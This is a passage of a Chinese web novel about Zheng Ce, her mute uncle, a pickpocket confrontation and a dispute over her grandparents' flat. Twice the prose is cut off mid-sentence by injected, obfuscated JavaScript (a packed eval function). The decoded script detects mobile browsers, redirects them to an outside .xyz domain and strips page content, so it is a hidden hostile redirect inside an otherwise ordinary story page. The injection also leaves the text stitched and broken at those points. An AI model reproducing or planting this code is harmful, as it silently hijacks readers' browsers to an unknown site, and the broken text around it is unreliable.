夫妻俩老来得子,宋乐洋哑巴的原因可能和他们当时身体素质有关。他也因此没比郑策大太多。 据妈妈说宋乐洋因为说不了话,很早就被放弃了。他性子也不服管教,很小的时候就搬出去住,和家里几乎断了联系,自生自灭。 所以她对这个舅舅了解并不多。 要是在大街上遇见这一看就是练家子的人,郑策估计会绕着道走。 没想到竟然是自己舅舅。 她秉持着对席警官的信任跟他走了。 出门的时候,恰好有一个少年举着强光手电筒匆匆赶来。 手电筒的光几乎照亮了半边天。 啧,什么毛病。 郑策抬手挡住晃在眼睛上的强光。 这缺德玩意儿,就跟夜晚行车,对向来车开着远光灯找抽一个德行。 在他关灯进屋前郑策才皱着眉看清这人的模样。 是骆远方的弟弟。 来领人的。 还拎着一盒保温饭盒。 骆乘光看见她似乎也惊讶了瞬,立刻又沉着一张驴脸踏进门。 “警察叔叔,我外婆做了饺子给大家。她问骆远方能不能多关几天,改造好了再放出去……” 天已经麻麻亮,但店铺都还没开张,药店门口的摇摇车无人问津,玻璃窗上大字写着“刷一口大白牙牙膏到店”的广告。 宋乐洋是哑巴,又和她几乎没见过几面,沉默地走在前面,肩宽腿长,像一座荒山。 还有一身掩饰不住的痞气。 郑策半警惕半试探地跟在他身后,反正也无处可去。 被拐了说不定比韩忠夏家过得舒坦点儿呢。 “哎。”她清了清嗓子,“你是,宋乐洋?” 宋乐洋转头,看了她半晌,埋头在手机上敲了几下,递给她: 要做DNA鉴定吗? 郑策说:“这,倒是不用。” 他拧着眉很快又打了一行字: 你自己看看你有什么值得骗的? 郑策埋头打量自己一番,忽然一挑眉,但声音有点虚:“……美貌?” 宋乐洋笑了笑,手机递过来,简单两个字: 跟上。 七拐八绕,面前竟然出现一个开了张的早餐店,蒸格周围白雾弥漫,热气腾腾。 猪肉白菜馅儿的包子。 郑策忽然才察觉自己好饿。 店里坐着的几乎都是赶早班的工人,或者刚下夜班的困人,眯着眼睛都快喂到鼻子里去了。 宋乐洋没问她意见,直接点了米线,包子,茶叶蛋,油条豆浆各一份,然后坐在对面看着她。 分明是吃早饭,郑策见他一脸冷漠,感觉像是断头饭。 “舅舅?” 其实单就哑巴这一项,郑策就差不多信了。 她就近捧过米线碗,用筷子搅拌了下,“你,怎么知道我在警察局?” 宋乐洋看她一眼,拿出手机点了几下。因为表情过于冻人,郑策以为他不想和自己说话。 吃了两口米线,忽然手机屏幕怼着自己脸递过来: 马家巷,我昨晚也在。 郑策尴尬地点了点头,实在不知道说什么,把“哦”字拉长了几秒,像是恍然大悟什么至理名言似的。 宋乐洋依旧面无表情,在手机上敲敲打打: 怎么一个人回来了?昨晚那个人什么情况? 郑策心里一惊。 看他样子,像是什么都不知道。 自打外公外婆去世,她们家搬走,想必姨妈家也没跟他有往来。 郑策不打算对他隐瞒,一五一十说了出来。 有些情节回忆起来太难受的,她就轻描淡写一句带过,坑坑巴巴,艰难地讲了十分钟。 饭桌上沉默了一会儿,宋乐洋在手机上打了又删,措辞很久,似乎是想安慰她,但业务不熟练。 郑策没所谓地笑笑,“过去了都,没事了。那你昨晚就在场,为什么……今早才来?” 宋乐洋抬眼看了眼她,又敲下几行字: 身份证丢了,领人要用,临时伪造了一个。 天知道这句话对法制咖郑策来说震撼有多大! 她吸溜进一口米粉压惊,竟然有些后怕。 “还好你没拿出来,不然今天换我去看你了。”她心有余悸地说。 宋乐洋虽然看着一脸不耐烦,但打字速度还行,对郑策也有问有答。 他提到郑策妈妈对自己很好,偶尔还会买衣服食物给他。 如果以后郑策混不下去,可以找他,会帮忙。 郑策不知道他说的帮忙指什么,单伪造证件这一项,配上宋乐洋一身气质,她就能联想到各种涉.黑.买卖,不敢恭维。 但转念一想,当个前呼后拥的社会姐,有种重操旧业的爽感。 她想着想着傻笑起来。 宋乐洋有些担忧地看着她,郑策连忙皱眉,严肃地吃了一口粉。 回去的时候屋里人还睡着,安静的院子相比昨晚摔锅砸碗的,亲切不少。 当然除了江蔚云,不会有人知道她彻夜未归。 既然宋熙偶尔会反抗,那为什么还是走不出去,郑策不能理解。 刚将车库帘子拉开半人高,她就有种做贼被抓的错觉。 一丝凉意爬上后背。 江蔚云裹着棉被坐在床上,像个小雪人,冷脸正对着门口,一言不发看着她。 “买了早点,饿了就吃,没饿再睡会儿。” 郑策笑着走过去,把豆浆油条放桌上,若无其事开始收拾。 她呆呆地看着窗外。昨晚的事像个梦境,天亮了,还有些恍惚。 离开马家巷,离开警察局,重新回到这个车库,一切平静的像是什么都没有发生。 但肋骨那儿还隐隐作痛,是昨晚一切都真实存在过的唯一证明。 爸妈因为还不上高利贷,选择了结生命,又担心她们活不下去,索性一起带走。 实话说,刚从房子里逃出来的时候,郑策脑子里只有愤怒。 凭什么替她们做决定。 简直懦弱又可恨。 江蔚云是她姐姐未婚先孕生下的,男方不肯负责,家里人也没有做任何控告。非常软弱。 他们欠下高利贷,察觉生活无望后,似乎都没做一丝挣扎。就放弃了,非常轻易。 她感到不甘。 既然都已经选择远离小镇出来闯,又怎么会如此不堪一击。 既然妈妈还在偷偷照顾弟弟妹妹,又怎么能说走就走。 操办葬礼的时候,她是麻木的。 偶尔想他们了会难过,但更多的是失望。 更深的是绝望。 把罪魁祸首送进去后她的使命似乎完成了。 但却没有新生的感觉。 反而更累,疲惫顺着寒风裹上全身,驱散不掉。 忽然郑策察觉到旁边的暖意,恍然回神。 “你跟在我后头干什么?” 她转身时差点踩江蔚云一脚,吓了一跳。“不睡就去把早饭趁热吃了。” 江蔚云不动,像个尾巴寸步不离跟着。忽然踮脚伸手在她兜里掏了掏,皱着小眉毛,有仇一样把水果刀丢在一边,还踢了一脚,刀滑进床下才罢休。 她闷声委屈道:“我以为你不要我了,把我丢给他们。” 郑策一怔,蹲下去摸她的脸,“昨晚不是说过了嘛,我……我逮着那个人了,被警察叔叔抓起来了,高兴不?” 江蔚云摇摇头,看见她手上的淤青,眼泪瞬间决堤了般,止都止不住,嚎啕大哭: “我不管他,我害怕你不要我了!” “哎哟。” 郑策连忙把她抱在怀里,在背上顺着气儿,“我要是把你也弄丢了,会真的以为自己是个扫把星的。” 江蔚云哭猛了,哽咽着抽抽了两下,艰难地嘟囔:“你不是。” “不会走的,会好的,会好的……”郑策叹了口气,轻声安抚她。 江蔚云贴着她的脸难受地蹭了蹭。 郑策笑着道:“哎哟,蹭我一脸水儿。” “好了,停!再哭该难受了,小嘴巴,闭起来。” 郑策抱紧怀里还在颤抖的江蔚云,好像断线的风筝被一小块儿石头给压住,微小的力气也让她暂时和这里有了联系。 要是没有这个小孩儿,她可能都坚持不到现在吧。 会好吗? 她也不知道。 但是。 会好的吧。 屋子里的人像是醒了,传来韩忠夏不耐烦的吼叫:“操!这空调又坏了,冻死个人。” 会好吗? 郑策看向窗外。 管他妈的,爱好不好。 “要跟骆淇说一声,告诉她把我赎出来了吗?” 骆远方坐在公园椅子上,和骆乘光排排坐等天亮。 这个时候回去,赶上起床气,定会让骆淇本不富裕的心情雪上加霜。 “把外婆哄回去了,自己在派出所安家,骆远方你可真行。” 骆乘光对自己跟他在这儿挨冻很不爽。 “饺子昨晚就做好了,非要我天亮了再送过来,外婆说一定要让你狗日的好看。” “你再骂一句试试。” “又不是我说的!” 北风萧瑟中,路过几个晨跑达人。 本以为这种天气不会有人坐在路边,但一不留神看见兄弟两人坐得大摇大摆,瞬间跟见鬼了似的,吓得跑出了高抬腿的气势来。 这声响,跟骑兵营过境一样。 骆远方无聊噘嘴,最后呼出一口气,看着瞬间在冷空气里凝结成的白雾楞了会儿。 利落地扣上外套帽子,拍拍冻入定的骆乘光。 “走,回去跪着。” 骆乘光斜他一眼,小声逼逼,“跪成兵马俑也没人救得了你。” 骆远方头也没回地说:“再在我背后鬼迷日眼,我拿502把你嘴粘起来。” 所幸的是,回去的时候没有预想中的天雷滚滚风雨欲来兵临城下。 反而因为有大舅的到来,分担去了一部分火力。 “远方回来啦?大舅专门过来看你,一走就是六个月,孩子也太不懂事了。” 见着骆远方一回来,李年肉眼可见的兴奋起来。 跟马戏团看猴戏开演了一个样子。 “大舅过年好舅妈过年好小孩儿过年好。” 骆远方不想被他八卦,直接进了厨房,骆淇在这儿瞪着开水壶发呆。 他又甜甜道: “外婆我回来了。” 骆淇横他一眼,“你谁啊?我告你强闯民宅信不信?” 骆远方从背后抱着她,撒娇道:“别老开这种玩笑,我都怕你真的傻了。” “今儿有人在,待会儿收拾你。” 骆淇还瞪他,“倒几杯水端出去。” “好嘞。” 骆远方殷勤接下任务,迟钝了下,又问,“那个……水杯放哪儿的?” “你是客人你是客人!” 骆淇立马转身在他胳膊上来了套组合巴掌,“哎哟,我这耳鸣都被你气出来了。” “您这老毛病了都。” 骆远方从骆淇手里接过水杯,可怜巴巴道:“喝水塞牙,睡觉腿抽筋,长白头发都怪我不听话。” “两人在厨房里叙起旧来了?” 此时,李年在门边凑过来,“远方还是孝顺啊,见不得外婆辛苦。以后外婆就靠你养老了啊。” “这不是她儿子不干事嘛。” 骆远方对这李年没好气,端着水杯往客厅走。“你还能靠么?嫁出去就忘了娘。” “嘿这小子,我来把今天刚带来的鲜猪肉冻起来。” 李年也不恼,嬉皮笑脸拿起案板上还没来得及规整的肉往冰箱送。 “冰箱坏了几百年了。” 骆淇说着又抱怨起来,“养个理科生,屁都不会修。” 骆远方在客厅里无奈:“哎哟外婆,这是普通高中生能干的活嘛?” 李年有些尴尬地楞在冰箱前,放下猪肉也不提修冰箱的事,转而道: “乘光是不是给你买了智能手机啊?你可得小心,网上骗子多了。这么大岁数人,就你赶潮流。” 骆乘光帮着把水递给舅妈和小孩儿,也在客厅喊了句:“我外婆乐意。” 骆淇有些得意:“我算着高铁站快修好了,开通后就可以学着买票出去玩儿。” “那高铁站从远方小学时候就开始修,还能通才见了鬼了。” 李年坐回沙发上给小孩儿剥橘子,嘴里还不歇气地气人。 “您还算,当年算得出来你女婿能入狱吗?” “嘭”的一声,骆乘光本来要进卧室,听到这句话反手摔上门。 人还在客厅站着,看向李年。 “你说什么呢。” 骆远方停下动作,看着手里的水杯,但语气里寒光乍现。 气氛一时像冻结的冰面,被铁锤敲开一条缝,裂缝随即噼里啪啦呈网状蔓延,碎裂在即。 “哎哟何必呢,知道这俩祖宗脾气不好,还提。” 骆淇向他们招招手,“还有事就回去吧,别在我这儿吵,心烦。” 李年也没打算久留,本就是过来看骆远方热闹的,冷笑一声就要走。 他老婆倒是面子功夫做的足,临走了还若无其事地招呼兄弟俩去家玩儿。 说着什么亲人哪有隔夜仇,都是一家人。 骆乘光不给谁面子,直接拒绝。她坚持着有空一定要去。没想到骆远方顿了会儿,直接说:“好啊,那等我一会儿。” 本来是客套话,这回答将李年一家僵在门口,走也不是,不走也不是。 “哎哟自作孽。” 骆淇看不下去,直接上手赶人,“走走走,新年快乐啊快乐!” 一关门,她转身看着俩孙子余怒未消,“生气了?” 骆远方往沙发上一躺,“我生什么气,又不是我养出来的败家子。” 骆淇嘿哟一声,正要发作,骆乘光拿着手机晃了晃,“有人要租这间卧室,但说是白天睡觉,晚上工作用。” “不租。” 骆淇果断拒绝,“这什么鬼迷日眼的作息,耽误我孙子读书,拒了。” “你这是招租啊,还是招保姆啊?要求这么严格呢。” 骆远方嘴欠接了句,差点又要挨一巴掌,立马投降,“我我我,我带了网球王子的画册给你当礼物!” 骆淇的巴掌停在半空,头往卧室偏了偏,冷酷道: “拿出来。” 骆远方和骆乘光住一间卧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“操!” 韩忠夏本来想重重地把门摔回去,但前几天周全他们才在门上安了缓冲器,关门的速度如同闪电树懒说话。 非——常——缓——慢——且——非——常——礼——貌地合上了。 韩忠夏有种拉屎拉到一半,被迫夹断的屈辱感,回头狠狠瞪了他们一眼。 屋内的人楞了瞬,笑得前仰后合。 周全不屑道:“他这样的赌徒,放在以前,投机倒把罪就定死七.八百遍了。” “回去又被老太太按着揍了吧?”褚铭打开饭盒问。 “怎么又过来了?” “想你们了。” “滚滚滚,想我们就站门口。” 周全做了个欢迎光临的手势邀请他出去,“吸引些富婆来买东西。” 这龟儿子眼尖,忽然抓住骆远方的手腕大惊小怪,“歪哟,美女靠着睡觉,手都给捏红了,愣是一声不吭啊。” 骆远方棱他一眼,“人家叫郑策,别太轻浮。” “郑策,这个名字……”周全忽然陷入沉思。 “和我以前的名字一样。” 骆远方替他补足,不然按他脑容量,得纠结一下午。 “不对不对……”周全双手撑着下巴开启低配版思想者姿势。 褚铭忽然用胳膊肘撞了撞骆远方,下巴指向玻璃门外的人。 人果然不禁念叨。 顺着视线看出去,就看见郑策搓着手在一排出租信息旁边认真挑选。 栏杆上密密麻麻蚂蚁一样的租房信息,纸张泛黄,字迹潦草。 骆远方看着她苍蝇一样迅速搓手。 这是还没回去呢?还是又出来了? 真要租房? 在韩忠夏家住不下去了? 正午的阳光昏昏欲睡,风一吹,一点温度没有,街上人也稀稀拉拉的。 姨妈家里空调出了问题,郑策跟着爸爸修理过几回,一眼看出是管温传感器故障,得换一个阻值一样的,还要买电工胶布。 出门的时候姨妈说扫帚也坏了,让她带一个回去。 于是拿着把扫帚回去的路上,郑策又看见了租房信息,留心看了下。 信息是挺老的,打了几个电话过去都关机。 她再看了眼泛黄得快包浆的塑料硬壳,将手机揣回兜里,放弃打电话。 但还是抱着手臂不死心又看了会儿。 她不站这儿就没人看,她一站这儿,旁边立马也多出个小瘦子瞪着眼睛一排排浏览。 郑策没管他,正要走的时候,小瘦子脚下一绊,撞到她身上,连忙低三下四地鞠躬道歉。 “扒手。” 褚铭说,“这儿的惯犯。这小子我都认熟了。” 骆远方立马站起来,紧盯着外面一举一动。 “别去,人一直带着刀呢。” 褚铭拦了下,“她的狠劲儿跟我们不一样,昨天派出所你也听见了,人是经历了生死的。我们顶多在轻伤边缘徘徊,不是一个重量级的。” “嗯,她在这片儿混的时候,你们还在学校背唐诗呢。” 骆远方想起什么,笑了笑,转头看着褚铭,“挺可怜的,看我面子上,罩着点吧。” 骆远方说完就往外走。 还没出门,郑策手里的扫帚就风火轮一样旋转着,朝那扒手飞过去。 紧接着就是郑策气沉丹田的怒吼:“偷我手机?他妈包都给划破了,我操.你大爷!” “卧槽,又是她。” 周全被那人倒地的动静惊着,这才抬头看出去。 “她那棍棒功夫是不是练家子?漂亮啊……” “卧槽,远方你去哪儿?” 拦不住骆远方,周全忽然瞪大眼睛转头看褚铭,指着门外问。 “卧槽,是不是他小时候……” 褚铭看着他有些无奈地点了点头。 这人文化课及过格都对不起他这记性…… 那边郑策横拿扫帚抵在小瘦子下巴上,擒拿着他前进几步,将他压在墙上,不断抬高扫帚杆,一点没心软。 “手机。”她咬牙沉声道。 周全见骆远方已经走出去,跳了起来:“卧槽,新白娘子传奇吗?有缘千里来相会……卧槽卧槽,这确定是出去净化过的人儿吗?比我们还像个野蛮的土著。” “你他妈才野蛮土著……再说了,别人回老家,千里相会个屁啊。” 褚铭递给他一记眼刀,“你再跟个种狗一样乱.操,我马上阉了你。” 再看向门外,小瘦子并不怵郑策,脸上憋成猪肝色,还笑着。 手忽然伸进兜里摸索。 扒手哪有不带的刀。 但他手还没伸出来,就被骆远方一把摁了回去。 “可以了。这种人打不死就不会改,别让他记恨太深,跟狗皮膏药一样黏上就甩不掉了。” 他对郑策说。 “嘿,我以为谁这么清高呢?” 小瘦子啐了一口淤血,不死心道,“原来是劳改犯的儿子,继承你爸的衣钵,高利贷来钱快吧?” 气氛静了两秒。 骆远方忽然一脚朝他腰部踢去。“我去你妈的劳改犯。” 同一时间,郑策只是楞了瞬,一转扫帚柄,将小瘦子侧向放倒。 她并不关心骆远方是谁的儿子,只是被这样当中揭穿伤疤,真是畜生行径。 而骆远方这一脚力度不小,腹部内脏多,如果踢出个内出血,被讹上就不是做个全身检查那么简单了。 还有,骆远方的爸竟然是他妈放高利贷的? 一瞬间的功夫,郑策脑子里竟然考虑得如此周全。 她顺带又赞叹了自己一番。 智勇双全! “咚”的一声。 小瘦子在她提前推了一把的前提下,重重摔在地上。 7. 接过来一起住 小瘦子从地上爬起来,身上还粘着大不了同归于尽的架势。好在周全和褚铭从店里及时出来,不然这狗皮膏药能不能撕掉还真难说。 虽然一直知道老家这里治安一般,但郑策没想到一个扒手也能豁出去到这份上。 有些难以置信。 “好巧啊。”郑策抿唇笑了笑,俯身捡起还算顽强的扫帚,“多谢了。” 几声电流声响起,隔壁商铺忽然开躁:“开业大酬宾,满一百减五十,满两百减一百。买不了吃亏,买不了上当……” 骆远方不耐烦拧起眉毛,“我以前叫郑策,你真不认识我?” “啊?”郑策没想到对方忽然单刀直入,楞了瞬,忽然一拍大腿,“哎哟,长变了,没认出来,老同学!” 骆远方回以呵呵假笑,转身便把脸丧了起来。 “原来不记得了。走了。” 果然没认出来。 心情有些不爽啊。 不远处又一个音箱开机,声嘶力竭地呐喊:“老板跑啦!跳楼甩价!两天之后搬家啦!” 大有浙江温州,浙江温州,江南皮革厂倒闭啦的欢快节奏和风韵。 但骆远方还是在嘈杂的叫卖声中,清楚地听见了身后人低声呢喃: “我记得。” 他双手揣兜,垂着头又退了回去。 “记得什么?” 郑策没想到这么小声都被听见了,吓了一跳。 磕磕巴巴一阵,决定坦白从宽,“记得你小时候爱打架,又没钱买药,我把你捡回去一次,就赖上我了。” “还记得当时班里有个男生欺负女孩,我把他揍出鼻血了,不敢回家,你带着我去冶金厂坐了一夜……所以,我在警察局才敢靠着你睡一觉。” 郑策这时候脸皮薄,越说越小声,“因为你,不是随便哪个人。” “哦。”骆远方点点头。 郑策又说:“我以为你忘了,或者不想提,才没提我们认识……” 那他为什么没提呢? 当然是骆老大该死的自尊心在作祟啦。 骆远方摸摸鼻尖,“没事,你,回去吧……我也就,随便说说。” “随便?” 郑策音调又恢复底气,“那你继续随便吧,走了。” “诶,不是随便,就是尴尬,不知道怎么开口行了吧。”骆远方连忙拉住她。 郑策笑着转身,一脸心知肚明又问:“他们做扒手,为了一个手机,怎么敢做到这种程度?” “你的手机,也许是他们一个月的生活费。” 骆远方环顾了下四周,懒懒道。 “不是每个人都跟你们一样能走出去,有人没勇气,有人没资本。换各种方法,正道歪路,挣扎着还在原地的人多了去了。” 他松开郑策的手,好整以暇看着她,“所以,虽然不知道你发生了什么,这里没什么值得留恋的,修整好心情就走吧。” 走? 她又能走哪儿去? 回到姨妈家,又是灰头土脸的模样,吓得宋熙手里的抹布迫不及待寻找大地的怀抱。 “这是怎么了?买个东西被打了?” 韩忠夏闻声从他专属沙发椅上扭过头来,像个暮年偏瘫的智障。 “还真不是个省事的啊,我这脸上还火辣辣的疼,又去外面收拾谁了?” 郑策无视他把扫帚递给姨妈,“遇上个不要命的玩意儿偷我手机,送派出所去了,没大事。” 沙发那边冷笑一声,“动静闹挺大啊,我们家庙小,可容不得你这么折腾的。” 有些人就是傻到不会给自己留后路,韩忠夏以后貌似都不会正常说话了。 但郑策偏就赖在这儿,气死他。 修好空调,郑策挑韩忠夏上厕所的时候,去卧室找擦灰的宋熙打探。 “姨妈,外公外婆的那套房子还能住吗?” “啊?” 宋熙手上动作顿住,“应该,但是。这么久了……” 郑策还想追问,忽然间,韩忠夏就跟个发癫的炮仗,到处炸,一冲厕所裹着屎味儿就冲了出来。 “我爸妈待会儿要过来,你准备好点的午饭啊,不然又说我娶了个媳妇,什么都不会,丢人!” “老两口是不是知道股市大跌,过来问情况的?”宋熙忽然紧张起来。 “哪壶不开提哪壶呢你,快去买菜。”韩忠夏在宋熙背后推了把,宋熙一个踉跄没站稳,眼看头要磕上沙发脚,郑策赶紧一捞她胳膊,连忙扶住她。 她夹在宋熙和墙之间,借力才勉强稳住一个成年人倒下的重量,心下不满又斜了眼韩忠夏。 “哎哟,没一个省事的。”韩忠夏竟还痛心疾首扬长而去。 真是难为他了。 “没站稳。” 宋熙拍拍郑策的手,“你做自己的事去吧。” “他凭什么这么对你?”郑策忍不了了,“他什么都没付出,只想着得到,你看不出来吗?” “孩子还小,我没你妈有本事,走不了啊。”宋熙没看她,叹了口气去厨房拿菜篮。 郑策看着她背影,有一瞬愣神。 不是每个人都走得出去,更何况,宋熙一开始就没挣扎的勇气和机会。 比起那些扒手,宋熙,似乎更可悲一点吧。 宋熙哂笑了下,郑策没想到她是知道自己处境的。 像是一直清醒地在泥潭里躺着。 “就在这儿,生老病死,井底之蛙,就是我的一生。也许在你看来没用甚至窝囊,但我的人生对我还是有很大的意义呢……” 宋熙看着她,眼睛里全是悲伤,“你早就不适合这里了,能想到这些,就走吧。” 郑策有些心烦,知情的不知情的都在叫她走,说她不属于这儿。 她他妈的到底是谁,属于哪里,还要别人来评判吗。 郑策无言半晌,回过头去看沙发和墙角缝隙里的东西。 刚这一撞,她一偏头发现了不得了的东西。 本来还打算告诉他们,沙发缝里面不是你们夫妻俩看得比命重的金佛吗? 但她最后什么都没说。 午饭她也不想和这家人再挤。 郑策出门回了车库,背上一个铁盒子,牵着江蔚云也出了门,“走,带你去吃铺盖面,超级好吃。” 江蔚云似乎察觉到她状态不错,一路上话也不少,严肃地向郑策表示她以后不想当小卖部老板了。 “为什么?”郑策问。 江蔚云认真思考一阵,“开小卖部,只是吃辣条和泡面方便,没什么好处。” 她一脸郑重地看着郑策,脸侧两嘟婴儿肥也认真地鼓出来。 “我以后的梦想是当包租婆,你就住我的房子,谁也不敢给我们脸色看!” “小卖部也能赚钱,不用改。” 郑策笑着捏捏她的脸。“那我等你包养我啊。” 吃完饭她们并没着急回去,郑策带着江蔚云直接去了清北楼。 既然宋熙不肯明说,她还不能去瞅一眼房子是什么情况嘛。 这栋楼就在富乐九中对面,隔着一条马路。老式的挑廊结构,一楼楼道里堆着几年前的方轮自行车,一个发黑的古董油漆桶,还有些包浆的木条和棍棒。 走进这里时,有种穿越的错觉,灰尘的气息夹杂油烟味儿,好像下一秒外婆就会在窗口探出头,朝楼下喊她回家吃饭。 但走到二楼门口,这种错觉跟屁蹦了一样,消失得干干净净。 因为门口A4纸贴着几个大字:房内卧室招租,起步价一千,不讲价。 我靠。 这是哪个年代的黑心资本家。 她没急着敲门,先按上面的号码拨了过去。 屋内座机响了,没人接。 …… 既然留的是座机,那请问在家不直接开门,还要隔着一扇门打电话谈生意吗? 什么诡异的情.趣.爱.好? 这房子不隔音,紧接着,郑策又听见里面的脚步声,来来去去,非常嚣张。 偏就不接门口站着的人打的电话。 郑策耐心告罄,直接上手:“我知道里面有人,出来聊一下!” 她这嗓子气贯长虹,直接吼亮了五层楼的声控灯。 好在脚步声终于拖拖拉拉略带迟疑往门边移了过来。 开门的一瞬间,里外两人都本能地给予了对方最真切的问候。 骆乘光一手端着水杯,一手将头戴式耳机摘下挂在脖子上:“……我靠。” 郑策:“我……操?” 酒窝小男生。 她往骆乘光身后看了眼,“家里有人吗?” “没人,我不是人。” “……有,大人吗?” 郑策指了指招租信息,“这套房子我不知道卖给你们还是租给你们,但我应该是有权过问的。” 真的是来抢房子的! 骆乘光第一反应是把她打出去。 但余光里还有个小女孩一直用无辜又水灵的大眼睛看着自己,迟迟下不了决心。 就这犹豫了一下。 郑策在江蔚云背后拍了拍,江蔚云得令,小鱼儿一样溜着缝儿钻了进去。 在骆乘光怕挤着小孩微微侧身时,郑策脸上带着笑又礼貌地向里逼近。 阴险! “借过,谢谢……诶,我背着骨灰盒呢,别动手,洒你一屋不好收拾。” 什么? 骨灰盒?! 骆乘光连忙举起双手投降状。 “你是来干嘛的?”骆乘光皱着眉问。 “嗯,我带我爸妈回来看两眼。”郑策满脸无辜地看着他。 骆乘光道:“家里没其他人。” 骆远方下午在褚铭的金店打发时间,骆淇根本在家里闲不住。 他好不容易休息,趁着家里没人打扰,打算练练舞,就遇上这么一尊佛。 目测对方道行颇深,骆乘光深谙自己一个初中生应付不住。脑子里急忙找对策。 房间结构和家具摆设基本没变,郑策甚至熟练地给自己倒了杯水喝。 江蔚云像个小士兵,昂首挺胸一脸正气始终站在她前面两步,随时准备碰瓷骆乘光。 “认识我吧?我都认识你哥和你外婆。”郑策在厨房里视察。 “知道,但……房子的事我不清楚。买卖合同什么都合法合规,你少胡来。” 骆乘光拜读过她这两天的丰功伟绩,捏着手机想找机会打电话。 “嗯,那我等他们来了解情况,你打个电话吧。按理来说我们没同意,这房子卖不出去。” 郑策始终慢条斯理的,但一看就不像好人,她忽然哎呀一声,“冰箱漏水了。” “嗯。”骆乘光看过去,“早坏了,今天我插电用了下,没事……你干什么?!” 他瞪大眼睛跑过去,就看见郑策拔了插头,蹲在那儿端详,她转头望他。 “反正没事,帮你们修。” 她想了想,又道:“不要钱。工具箱有吗?” “……有。” 骆乘光忽然更加不知所措了,递给郑策工具箱,“你……会?” “理科生啊,基本素养。” 郑策瘦,几乎钻了半个身子进去,一只手摊开伸向背后。 “排水管那儿结冰,堵了,拿个梅花改刀,一字改刀。” 骆乘光忙递过去。 贴近了,郑策听见他耳机里的音乐,“bangbangbang?会跳街舞吗?” 骆乘光楞了楞,点点头。 “我喜欢ifyou一些。”郑策笑笑,“你跳舞应该很好看。” “……谢谢。” 有眼光。 忙活完这一切,骆乘光不知所措站在旁边,甚至想给郑策削个苹果,说声“辛苦了师傅,谢谢师傅。” 郑策坐在沙发上玩手机,不时看他一眼。 他个子比骆远方矮不了多少。脸上有几分稚气,瞳孔颜色是浅棕色,一身休闲服往那儿一站,有一股少年人的干净和挺拔。 她看了两眼骆乘光都想说“小兄弟不要客气,当自己家坐吧”。 郑策指着骆乘光对江蔚云说:“我外婆生前就爱站那哥哥的位置,跟他一样,往楼下看我们回家没有。” 骆乘光忙把头缩回来,一副吃屎的表情看着她。 郑策笑道:“每次外婆想逗我,骗我说爸妈回来了,就是这幅表情!” 骆乘光立马恢复面瘫状态。 他现在心里想的是楼下那两人要再不上来,他就跳下去得了。 发消息不回,打电话不接,在楼下搞什么地下接头呢! 好在夺命连环call下,骆淇终于回了电话过来。 骆乘光挂了电话,有些尴尬道:“那个,骆淇说不和你单独聊,下午去韩忠夏家,一起聊。” 郑策挑眉若有所思地点点头。 倒是会躲。 “行吧。”郑策耸耸肩,站起身。 “这件事虽然我们有些无理取闹,但你们也不是完全正确方,认真考虑考虑吧。” 目的差不多达成,她牵上江蔚云往外走,“云朵儿,走了。” 江蔚云路过骆乘光时,忽然停住,仰头看着他,端详了会儿,说:“哥哥你长得真好看。” “……” 骆乘光忽然发现自己没出息地吓出一声虚汗,咳嗽两下,“……谢谢。” “不用谢,哥哥再见!” 江蔚云继续说,“但是厕所的衣服要记得洗哦,还有碗池里的碗都堆了挺多了!” 骆乘光:这是来挑衅的吧?! 郑策干笑着,一把捂住她嘴巴,往外抱。 下楼时,郑策大有满载而归的气势,但心里又有些打鼓。 按理说她住了姨妈家,对这套房子睁一只眼闭一只眼也得了。 但想到卖房子的钱很可能给韩忠夏炒股,她就咽不下这口气。 虽然她有点儿白眼狼行径。 但农夫起码把蛇藏进自己怀里保暖,她和江蔚云住在车库,连门都还没进呢。 凭什么又该她忍气吞声,得过且过? 爸妈生前老是教导她退一步海阔天空,忍一时风平浪静。吃得了亏才合的了群。但她为了融入一个又一个群体,真的太累了。 忽然间就想被万众唾骂一次,随心所欲不计后果一回。 复读也没关系,无家可归也没关系,被嫌弃被欺负也没关系。 经验值不够就回炉重造,被人讨厌就换个朋友。 没关系的。 但想了这么多,心里还是忐忑得住了一合唱团的龚琳娜一样。 惴惴不安。 郑策不断给自己做心理建设,没注意到前脚刚出楼,后脚就有两团黑影,身手矫健上了楼。 “还以为你俩要和流浪狗抢窝呢?” 骆乘光瞪着两人,“舍得上来了?我就该马上把锁给换了。” “怎么样?”骆淇问,“她什么态度?” “仗着价钱便宜,装傻充愣买房子的时候没想过别人什么态度?” 骆远方也倒了杯水喝,刚吞下去就挨骆淇一记爆栗。 “当时不是为你们上学方便嘛!” “态度应该挺好?”骆乘光指了指正常运转的冰箱。 “把冰箱免费修好了……” 骆远方又被水给呛了下。 骆淇和宋熙约的是晚饭时间,不搞得太严肃,当做朋友聚餐。她们打算打亲情牌,两个孩子有什么可怵的。 临出门,骆淇又在家门口看见一果篮,旁边还有一灯管。 骆乘光一拍头,“她刚看见厨房灯管坏了一个,又觉得自己上门有些不礼貌,可能是赔礼用的?据说换这个很简单。” 骆乘光和骆淇看向唯一的理科生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812336|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆远方。 …… 骆远方就笑笑不说话。 但出门前,骆淇让骆远方给自己画了个战损妆。 果然宋熙一见就吓了几百跳。 “哎哟骆奶奶,这几天没睡好吗?黑眼圈重的,还有您这额头怎么回事?” 宋熙把最近吃枪药的韩忠夏支了出去,一个人在家里。 “她吃多了,晕炭的时候不小心撞的。” 骆远方凉凉补刀,对骆淇非要拉着自己来镇场子非常十分不愉快。 “滚你的。”骆淇横他一眼,又笑眯眯看着宋熙,“没注意磕到的。” “噢噢,以后还是要小心,年纪也一把了毕竟。” 宋熙关切道,转而朝车库里喊:“小策,来客人了!” 